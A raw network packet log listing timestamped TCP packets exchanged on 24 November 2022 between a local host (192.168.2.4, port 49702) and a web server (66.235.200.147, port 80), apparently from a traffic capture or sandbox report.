Nov 24, 2022 13:27:53.319873095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319884062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319900036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319910049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319928885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319936991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319957018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319984913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319996119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320013046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320023060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320044994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320050001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320072889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320096016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320100069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320113897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320127010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320153952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320171118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320182085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320189953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320209980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320215940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320239067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320245028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320266008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320272923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320293903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320297956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320322037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320326090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320348978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320369959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320374966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320390940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320400953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320420027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320424080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320447922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320449114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320463896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320486069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320487022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320566893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320594072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320616961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320617914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320642948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320652008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320669889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320683956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320698977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320727110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320727110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320749044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320755005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320766926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320781946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320805073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320811033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320825100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320839882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320878983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320903063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320930004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320934057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320955992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320967913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.320982933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.320997000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321007967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321027994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321033955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321048975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321059942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321070910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321088076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321098089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321116924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321125984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321146011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321156025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321172953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321180105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321201086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321225882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321240902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321254015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321269035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321279049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321305037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321309090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321322918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321327925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321350098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321352005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321363926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321376085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321394920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321398020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321448088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321458101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321484089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321499109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321506977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321527958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321532965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321547985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321563959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321584940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321593046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321599960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321621895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321629047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321660995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321671963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321700096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321727991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321739912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321755886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321770906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321783066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321798086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321810007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321820021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321837902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321850061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321866989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321877956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321896076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321904898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321923971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321932077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321950912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.321959972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.321979046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322000027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322005987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322017908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322031021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322041988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322055101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322069883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322078943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322102070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322103024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322128057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322151899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322170019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322175980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322199106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322200060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322225094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322227001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322246075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322248936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322261095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322273970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322294950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322300911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322312117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322329044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322339058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322356939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322365999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322386026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322406054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322415113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322423935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322448015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322467089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322474003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322488070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322501898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322518110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322529078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322536945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322560072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322572947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322590113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322606087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322618008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322643995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322645903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322659016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322670937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322688103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322698116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322721004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322722912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322750092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322755098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322777033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322782993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322803020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322808027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322827101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322828054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322853088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322890043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322895050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322916031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322941065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322957039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322966099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.322977066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.322993994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323005915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323019028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323040009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323045015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323070049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323071957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323090076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323098898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323117018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323124886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323137045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323148966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323165894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323187113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323193073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323216915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323240995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323262930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323286057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323287010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323308945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323311090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323328972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323334932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323358059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323364019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323376894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323390007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323415041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323417902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323430061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323446035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323455095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323472977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323488951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323499918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323508024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323527098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323537111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323556900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323565006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323585987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323596001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323612928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323625088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323641062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323651075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323669910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323678017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323698997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323709011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323729992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323739052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323759079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323766947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323786974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323796034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323816061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323829889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323843002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323854923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323885918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323887110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323915005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323928118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323940039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323955059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.323965073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323988914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.323988914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324012041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324021101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324038029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324044943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324060917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324081898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324085951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324106932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324106932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324110985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324137926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324137926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324165106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324166059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324182987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324189901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324207067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324214935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324230909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324239969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324266911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324270964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324287891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324291945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324306965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324316978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324330091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324343920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324356079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324372053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324383974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324398994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324413061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324428082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324440002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324455023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324467897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324482918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324506044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324510098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324532986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324532986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324549913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324562073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324573040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324589968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324609995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324616909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324630976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324644089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324667931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324671984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324698925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324698925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324726105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324745893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324752092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324779987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324784040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324809074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324811935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324836969 CET	80	49702	66.235.200.147	192.168.2.4
